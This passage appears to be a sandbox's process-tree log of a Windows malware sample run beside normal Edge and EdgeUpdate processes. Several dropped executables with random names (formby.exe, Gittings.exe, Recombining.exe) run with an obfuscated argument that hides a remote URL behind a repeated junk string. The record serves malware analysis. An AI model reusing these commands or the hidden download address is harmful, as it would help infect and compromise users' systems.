C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6252 /prefetch:1
2⤵
PID:2068

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6616 /prefetch:1
2⤵
PID:5444

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6600 /prefetch:1
2⤵
PID:4248

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
2⤵
PID:5856

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff694a35460,0x7ff694a35470,0x7ff694a35480
3⤵
PID:1624

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6888 /prefetch:1
2⤵
PID:1396

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4272 /prefetch:1
2⤵
PID:5848

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3496 /prefetch:8
2⤵
PID:752

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2884 /prefetch:1
2⤵
PID:2900

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4280 /prefetch:1
2⤵
PID:5420

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4452 /prefetch:1
2⤵
PID:4904

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5492 /prefetch:1
2⤵
PID:5992

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1756 /prefetch:1
2⤵
PID:6100

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5344 /prefetch:1
2⤵
PID:4220

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5828 /prefetch:2
2⤵
PID:2344

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2408 /prefetch:1
2⤵
PID:2032

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
2⤵
PID:4828

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1
2⤵
PID:268

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5080 /prefetch:1
2⤵
PID:2780

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5892 /prefetch:8
2⤵
PID:3352

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4416 /prefetch:1
2⤵
PID:2292

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=7404 /prefetch:8
2⤵
PID:4400

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7340 /prefetch:1
2⤵
PID:3312

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6760 /prefetch:8
2⤵
PID:6092

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2904

C:\Users\Admin\AppData\Local\Temp\nszF15A.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nszF15A.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:1812

C:\Program Files (x86)\Mcewan\brahms.exe
"C:\Program Files (x86)\Mcewan\brahms.exe"
1⤵
PID:4248

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:6140

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:3632

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3000

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5412

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5076

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ua /installsource scheduler
1⤵
- Checks system information in the registry
PID:5412

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:1368

C:\Users\Admin\AppData\Local\Temp\nsd52C4.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsd52C4.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:4176

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4352

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:5328

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:2260

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2596

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
1⤵
- Checks system information in the registry
- Modifies data under HKEY_USERS
PID:3968

C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{8722F393-77B4-40CD-8714-83494014A429}\MicrosoftEdgeUpdateSetup_X86_1.3.173.55.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{8722F393-77B4-40CD-8714-83494014A429}\MicrosoftEdgeUpdateSetup_X86_1.3.173.55.exe" /update /sessionid "{1754E786-7938-4D25-A73D-DBBA0DE99E71}"
2⤵
PID:3404

C:\Program Files (x86)\Microsoft\Temp\EUDE3A.tmp\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\Temp\EUDE3A.tmp\MicrosoftEdgeUpdate.exe" /update /sessionid "{1754E786-7938-4D25-A73D-DBBA0DE99E71}"
3⤵
- Sets file execution options in registry
- Checks system information in the registry
PID:2792

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regsvc
4⤵
- Modifies registry class
PID:4316

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regserver
4⤵
- Modifies registry class
PID:5980

C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.173.55\MicrosoftEdgeUpdateComRegisterShell64.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.173.55\MicrosoftEdgeUpdateComRegisterShell64.exe"
5⤵
- Registers COM server for autorun
- Modifies registry class
PID:4808

C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.173.55\MicrosoftEdgeUpdateComRegisterShell64.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.173.55\MicrosoftEdgeUpdateComRegisterShell64.exe"
5⤵
- Registers COM server for autorun
- Modifies registry class
PID:4288

C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.173.55\MicrosoftEdgeUpdateComRegisterShell64.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.173.55\MicrosoftEdgeUpdateComRegisterShell64.exe"
5⤵
- Registers COM server for autorun
- Modifies registry class
PID:5984

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xNzMuNTUiIHNoZWxsX3ZlcnNpb249IjEuMy4xNzEuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MTc1NEU3ODYtNzkzOC00RDI1LUE3M0QtREJCQTBERTk5RTcxfSIgdXNlcmlkPSJ7QTJBQjAyQjYtOUMyMC00MDM5LTg3RDAtNjg4RTY2ODdGODE0fSIgaW5zdGFsbHNvdXJjZT0ic2VsZnVwZGF0ZSIgcmVxdWVzdGlkPSJ7ODdBN0E5OTYtNDIzMS00QTc5LUE0NUEtQ0ZENzBDM0UxOEExfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjQiIHBoeXNtZW1vcnk9IjgiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IkRBRFkiIHByb2R1Y3RfbmFtZT0iU3RhbmRhcmQgUEMgKFEzNSArIElDSDksIDIwMDkpIi8-PGV4cCBldGFnPSImcXVvdDtxV0pTeld3UGZkY0xSK1hHSXY2eHJaZmlZT3hoUFUyczFOV21qV2NhRlBnPSZxdW90OyIvPjxhcHAgYXBwaWQ9IntGM0M0RkUwMC1FRkQ1LTQwM0ItOTU2OS0zOThBMjBGMUJBNEF9IiB2ZXJzaW9uPSIxLjMuMTcxLjM5IiBuZXh0dmVyc2lvbj0iMS4zLjE3My41NSIgbGFuZz0iIiBicmFuZD0iSU5CWCIgY2xpZW50PSIiIGluc3RhbGxhZ2U9IjAiIGluc3RhbGxkYXRldGltZT0iMTY4MDg2NjQ1MiI-PGV2ZW50IGV2ZW50dHlwZT0iMyIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iMTE1MzUxNTg1NzMiLz48L2FwcD48L3JlcXVlc3Q-
4⤵
- Checks system information in the registry
PID:5892

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xNzEuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xNzEuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MTc1NEU3ODYtNzkzOC00RDI1LUE3M0QtREJCQTBERTk5RTcxfSIgdXNlcmlkPSJ7QTJBQjAyQjYtOUMyMC00MDM5LTg3RDAtNjg4RTY2ODdGODE0fSIgaW5zdGFsbHNvdXJjZT0ic2NoZWR1bGVyIiByZXF1ZXN0aWQ9InszMkRBMUFFMy1GRkUxLTQ3MUUtOTM1NS0wM0I0ODE5QzlBNTB9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iNCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iREFEWSIgcHJvZHVjdF9uYW1lPSJTdGFuZGFyZCBQQyAoUTM1ICsgSUNIOSwgMjAwOSkiLz48ZXhwIGV0YWc9IiZxdW90O3FXSlN6V3dQZmRjTFIrWEdJdjZ4clpmaVlPeGhQVTJzMU5XbWpXY2FGUGc9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0ie0YzQzRGRTAwLUVGRDUtNDAzQi05NTY5LTM5OEEyMEYxQkE0QX0iIHZlcnNpb249IjEuMy4xNzEuMzkiIG5leHR2ZXJzaW9uPSIxLjMuMTczLjU1IiBsYW5nPSIiIGJyYW5kPSJJTkJYIiBjbGllbnQ9IiIgZXhwZXJpbWVudHM9IlByb2R1Y3RzVG9SZWdpc3Rlcj0lN0JGMzAxNzIyNi1GRTJBLTQyOTUtOEJERi0wMEMzQTlBN0U0QzUlN0QiIGluc3RhbGxhZ2U9IjAiPjx1cGRhdGVjaGVjay8-PGV2ZW50IGV2ZW50dHlwZT0iMTIiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjExMTc0ODQzNzA3IiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMTMiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjExMTc0ODQzNzA3IiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMTQiIGV2ZW50cmVzdWx0PSIwIiBlcnJvcmNvZGU9Ii0yMTQ3MDIzODM4IiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSIxMTQ4Nzk3MzQxMSIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIgZG93bmxvYWRlcj0iZG8iIHVybD0iaHR0cDovL21zZWRnZS5iLnRsdS5kbC5kZWxpdmVyeS5tcC5taWNyb3NvZnQuY29tL2ZpbGVzdHJlYW1pbmdzZXJ2aWNlL2ZpbGVzL2ExNDVmZDA2LTNkZTMtNGUxNi1hZTE0LTFjMDhiZjFkNTI3ND9QMT0xNjgxNDY0MzYyJmFtcDtQMj00MDQmYW1wO1AzPTImYW1wO1A0PVI3NFVGTXdmaXBDS1B4U2lGekJJRDBHMEJpaEZpMFlhYiUyZjVTUGVOa3p1ZlRqZWMxRjI3ZlVQNVZsT2ZCSmtQdUVKciUyZmFHSWpPJTJmbSUyYmU2NlBNMG9LVHclM2QlM2QiIHNlcnZlcl9pcF9oaW50PSIiIGNkbl9jaWQ9Ii0xIiBjZG5fY2NjPSIiIGNkbl9tc2VkZ2VfcmVmPSIiIGNkbl9henVyZV9yZWZfb3JpZ2luX3NoaWVsZD0iIiBjZG5fY2FjaGU9IiIgY2RuX3AzcD0iIiBkb3dubG9hZGVkPSIwIiB0b3RhbD0iMCIgZG93bmxvYWRfdGltZV9tcz0iMCIvPjxldmVudCBldmVudHR5cGU9IjE0IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSIxMTQ4Nzk5MzY1MSIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIgZG93bmxvYWRlcj0iYml0cyIgdXJsPSJodHRwOi8vbXNlZGdlLmIudGx1LmRsLmRlbGl2ZXJ5Lm1wLm1pY3Jvc29mdC5jb20vZmlsZXN0cmVhbWluZ3NlcnZpY2UvZmlsZXMvYTE0NWZkMDYtM2RlMy00ZTE2LWFlMTQtMWMwOGJmMWQ1Mjc0P1AxPTE2ODE0NjQzNjImYW1wO1AyPTQwNCZhbXA7UDM9MiZhbXA7UDQ9Ujc0VUZNd2ZpcENLUHhTaUZ6QklEMEcwQmloRmkwWWFiJTJmNVNQZU5renVmVGplYzFGMjdmVVA1VmxPZkJKa1B1RUpyJTJmYUdJak8lMmZtJTJiZTY2UE0wb0tUdyUzZCUzZCIgc2VydmVyX2lwX2hpbnQ9IiIgY2RuX2NpZD0iLTEiIGNkbl9jY2M9IiIgY2RuX21zZWRnZV9yZWY9IiIgY2RuX2F6dXJlX3JlZl9vcmlnaW5fc2hpZWxkPSIiIGNkbl9jYWNoZT0iIiBjZG5fcDNwPSIiIGRvd25sb2FkZWQ9IjE2MTAxODQiIHRvdGFsPSIxNjEwMTg0IiBkb3dubG9hZF90aW1lX21zPSIyNjI5MyIvPjxldmVudCBldmVudHR5cGU9IjE0IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSIxMTQ4ODE1MzkyNSIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIvPjxldmVudCBldmVudHR5cGU9IjE1IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSIxMTQ5MzU5MTMxMiIgZG9uZV9iZWZvcmVfb29i